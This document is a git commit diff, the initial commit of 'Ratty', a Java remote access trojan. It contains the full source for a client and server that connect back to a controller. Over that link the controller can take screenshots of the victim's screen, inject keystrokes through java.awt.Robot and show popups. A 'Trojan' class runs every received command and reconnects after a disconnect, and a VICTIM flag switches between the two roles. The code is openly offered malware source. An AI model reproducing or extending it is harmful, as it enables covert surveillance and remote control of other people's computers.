commit e748833278553155d88f2b09c370d11ea710ee3e Author: Sogomn Date: Tue Jan 26 20:19:40 2016 +0100 Initial commit diff --git a/Ratty/.gitignore b/Ratty/.gitignore new file mode 100644 index 0000000..ae3c172 --- /dev/null +++ b/Ratty/.gitignore @@ -0,0 +1 @@ +/bin/ diff --git a/Ratty/src/de/sogomn/rat/ActiveClient.java b/Ratty/src/de/sogomn/rat/ActiveClient.java new file mode 100644 index 0000000..3094689 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/ActiveClient.java @@ -0,0 +1,87 @@ +package de.sogomn.rat; + +import java.net.Socket; + +import de.sogomn.engine.net.TCPConnection; + + +public final class ActiveClient extends TCPConnection { + + private Thread thread; + + private IClientObserver observer; + + public ActiveClient(final String address, final int port) { + super(address, port); + } + + public ActiveClient(final Socket socket) { + super(socket); + } + + @Override + public void close() { + super.close(); + + if (thread != null) { + thread.interrupt(); + thread = null; + } + + if (observer != null) { + observer.disconnected(this); + } + } + + public void start() { + final Runnable runnable = () -> { + while (isOpen()) { + final IPacket packet = readPacket(); + + if (observer != null && packet != null) { + observer.packetReceived(this, packet); + } + } + }; + + thread = new Thread(runnable); + + thread.start(); + } + + public void sendPacket(final IPacket packet) { + final byte id = PacketType.getId(packet.getClass()); + + if (id != 0) { + writeByte(id); + packet.send(this); + } + } + + public IPacket readPacket() { + final byte id = readByte(); + + if (id == 0) { + return null; + } + + final Class packetClass = PacketType.getClass(id); + + try { + final IPacket packet = packetClass.newInstance(); + + packet.receive(this); + + return packet; + } catch (final InstantiationException | IllegalAccessException ex) { + ex.printStackTrace(); + + return null; + } + } + + public void setObserver(final IClientObserver observer) { + this.observer = observer; + } + +} diff --git a/Ratty/src/de/sogomn/rat/ActiveServer.java b/Ratty/src/de/sogomn/rat/ActiveServer.java new file mode 100644 index 0000000..32827ae --- /dev/null +++ b/Ratty/src/de/sogomn/rat/ActiveServer.java @@ -0,0 +1,92 @@ +package de.sogomn.rat; + +import java.net.Socket; +import java.util.ArrayList; + +import de.sogomn.engine.net.TCPServer; + +public final class ActiveServer extends TCPServer implements IClientObserver { + + private Thread thread; + + private ArrayList clients; + + public ActiveServer(final int port) { + super(port); + + clients = new ArrayList(); + } + + private ActiveClient acceptClient() { + final Socket socket = acceptConnection(); + + if (socket == null) { + return null; + } + + final ActiveClient client = new ActiveClient(socket); + + return client; + } + + @Override + public void close() { + super.close(); + + if (thread != null) { + thread.interrupt(); + thread = null; + } + + clients.forEach(client -> { + client.setObserver(null); + client.close(); + }); + clients.clear(); + } + + @Override + public void packetReceived(final ActiveClient client, final IPacket packet) { + packet.execute(); + } + + @Override + public void disconnected(final ActiveClient client) { + removeClient(client); + } + + public void start() { + final Runnable runnable = () -> { + while (isOpen()) { + final ActiveClient client = acceptClient(); + + if (client != null) { + addClient(client); + } + } + }; + + thread = new Thread(runnable); + + thread.start(); + } + + public void broadcast(final IPacket packet) { + clients.forEach(client -> { + client.sendPacket(packet); + }); + } + + public void addClient(final ActiveClient client) { + client.setObserver(this); + clients.add(client); + client.start(); + } + + public void removeClient(final ActiveClient client) { + client.setObserver(null); + client.close(); + clients.remove(client); + } + +} diff --git a/Ratty/src/de/sogomn/rat/IClientObserver.java b/Ratty/src/de/sogomn/rat/IClientObserver.java new file mode 100644 index 0000000..2274d65 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/IClientObserver.java @@ -0,0 +1,9 @@ +package de.sogomn.rat; + +public interface IClientObserver { + + void packetReceived(final ActiveClient client, final IPacket packet); + + void disconnected(final ActiveClient client); + +} diff --git a/Ratty/src/de/sogomn/rat/IPacket.java b/Ratty/src/de/sogomn/rat/IPacket.java new file mode 100644 index 0000000..dd1a2cb --- /dev/null +++ b/Ratty/src/de/sogomn/rat/IPacket.java @@ -0,0 +1,13 @@ +package de.sogomn.rat; + + + +public interface IPacket { + + public abstract void send(final ActiveClient client); + + public abstract void receive(final ActiveClient client); + + public abstract void execute(); + +} diff --git a/Ratty/src/de/sogomn/rat/KeyEventPacket.java b/Ratty/src/de/sogomn/rat/KeyEventPacket.java new file mode 100644 index 0000000..6850de7 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/KeyEventPacket.java @@ -0,0 +1,52 @@ +package de.sogomn.rat; + +import java.awt.AWTException; +import java.awt.Robot; +import java.awt.event.KeyEvent; + +public final class KeyEventPacket implements IPacket { + + private int key; + private boolean flag; + + public KeyEventPacket() { + key = KeyEvent.VK_UNDEFINED; + } + + public KeyEventPacket(final int key, final boolean flag) { + this.key = key; + this.flag = flag; + } + + @Override + public void send(final ActiveClient client) { + final byte flagByte = (byte)(flag ? 1 : 0); + + client.writeInt(key); + client.writeByte(flagByte); + } + + @Override + public void receive(final ActiveClient client) { + key = client.readInt(); + flag = client.readByte() == 1; + } + + @Override + public void execute() { + try { + final Robot rob = new Robot(); + + if (flag) { + rob.keyPress(key); + } else { + rob.keyRelease(key); + } + } catch (final IllegalArgumentException ex) { + System.err.println("No valid key code"); + } catch (final AWTException ex) { + ex.printStackTrace(); + } + } + +} diff --git a/Ratty/src/de/sogomn/rat/PacketType.java b/Ratty/src/de/sogomn/rat/PacketType.java new file mode 100644 index 0000000..5e46d3d --- /dev/null +++ b/Ratty/src/de/sogomn/rat/PacketType.java @@ -0,0 +1,45 @@ +package de.sogomn.rat; + +public enum PacketType { + + POPUP(1, PopupPacket.class), + SCREENSHOT(2, ScreenshotPacket.class), + KEY_EVENT(3, KeyEventPacket.class); + + private final byte id; + private final Class clazz; + + PacketType(final byte id, final Class clazz) { + this.id = id; + this.clazz = clazz; + } + + PacketType(final int id, final Class clazz) { + this((byte)id, clazz); + } + + public static Class getClass(final byte id) { + final PacketType[] values = values(); + + for (final PacketType type : values) { + if (type.id == id) { + return type.clazz; + } + } + + return null; + } + + public static byte getId(final Class clazz) { + final PacketType[] values = values(); + + for (final PacketType type : values) { + if (type.clazz == clazz) { + return type.id; + } + } + + return 0; + } + +} diff --git a/Ratty/src/de/sogomn/rat/PopupPacket.java b/Ratty/src/de/sogomn/rat/PopupPacket.java new file mode 100644 index 0000000..a9ec369 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/PopupPacket.java @@ -0,0 +1,38 @@ +package de.sogomn.rat; + +import javax.swing.JOptionPane; + + + +public final class PopupPacket implements IPacket { + + private String message; + + public PopupPacket(final String message) { + this.message = message; + } + + public PopupPacket() { + this(""); + } + + @Override + public void send(final ActiveClient client) { + client.writeUTF(message); + } + + @Override + public void receive(final ActiveClient client) { + message = client.readUTF(); + } + + @Override + public void execute() { + JOptionPane.showMessageDialog(null, message); + } + + public String getMessage() { + return message; + } + +} diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java new file mode 100644 index 0000000..1fd1ecc --- /dev/null +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -0,0 +1,48 @@ +package de.sogomn.rat; + +import java.awt.event.KeyEvent; + + +public final class Ratty { + + public static final boolean VICTIM = false; + + private Ratty() { + //... + } + + public static void connectToHost(final String address, final int port) { + final ActiveClient newClient = new ActiveClient(address, port); + final Trojan trojan = new Trojan(); + + if (!newClient.isOpen()) { + connectToHost(address, port); + + return; + } + + newClient.setObserver(trojan); + newClient.start(); + newClient.sendPacket(new KeyEventPacket(KeyEvent.VK_W, true)); + newClient.sendPacket(new KeyEventPacket(KeyEvent.VK_W, false)); + } + + public static void startServer(final int port) { + final ActiveServer server = new ActiveServer(port); + + server.start(); + } + + public static void main(final String[] args) { + if (VICTIM) { + connectToHost("localhost", 23456); + + System.out.println("Client started"); + } else { + startServer(23456); + + System.out.println("Server started"); + } + } + +} diff --git a/Ratty/src/de/sogomn/rat/ScreenshotPacket.java b/Ratty/src/de/sogomn/rat/ScreenshotPacket.java new file mode 100644 index 0000000..2112771 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/ScreenshotPacket.java @@ -0,0 +1,87 @@ +package de.sogomn.rat; + +import java.awt.AWTException; +import java.awt.Rectangle; +import java.awt.Robot; +import java.awt.image.BufferedImage; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +import javax.imageio.ImageIO; + +import de.sogomn.engine.Screen; +import de.sogomn.engine.Screen.ResizeBehavior; + +public final class ScreenshotPacket implements IPacket { + + private BufferedImage image; + + private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); + + public ScreenshotPacket() { + image = NO_IMAGE; + } + + public ScreenshotPacket(final int x, final int y, final int width, final int height) { + try { + final Robot robot = new Robot(); + + image = robot.createScreenCapture(new Rectangle(x, y, width, height)); + } catch (final AWTException ex) { + image = NO_IMAGE; + + ex.printStackTrace(); + } + } + + @Override + public void send(final ActiveClient client) { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + + try { + ImageIO.write(image, "JPG", out); + } catch (final IOException ex) { + ex.printStackTrace(); + } + + final byte[] data = out.toByteArray(); + + client.writeInt(data.length); + client.write(data); + } + + @Override + public void receive(final ActiveClient client) { + final int length = client.readInt(); + final byte[] data = new byte[length]; + + client.read(data); + + final ByteArrayInputStream in = new ByteArrayInputStream(data); + + try { + image = ImageIO.read(in); + } catch (final IOException ex) { + image = NO_IMAGE; + + ex.printStackTrace(); + } + } + + @Override + public void execute() { + final int width = image.getWidth(); + final int height = image.getHeight(); + + final Screen screen = new Screen(width, height); + + screen.addListener(g -> { + g.drawImage(image, 0, 0, width, height, null); + }); + screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); + screen.show(); + screen.redraw(); + } + +} diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java new file mode 100644 index 0000000..2907020 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -0,0 +1,24 @@ +package de.sogomn.rat; + +public final class Trojan implements IClientObserver { + + public Trojan() { + //... + } + + @Override + public void packetReceived(final ActiveClient client, final IPacket packet) { + packet.execute(); + } + + @Override + public void disconnected(final ActiveClient client) { + final String address = client.getAddress(); + final int port = client.getPort(); + + client.setObserver(null); + + Ratty.connectToHost(address, port); + } + +}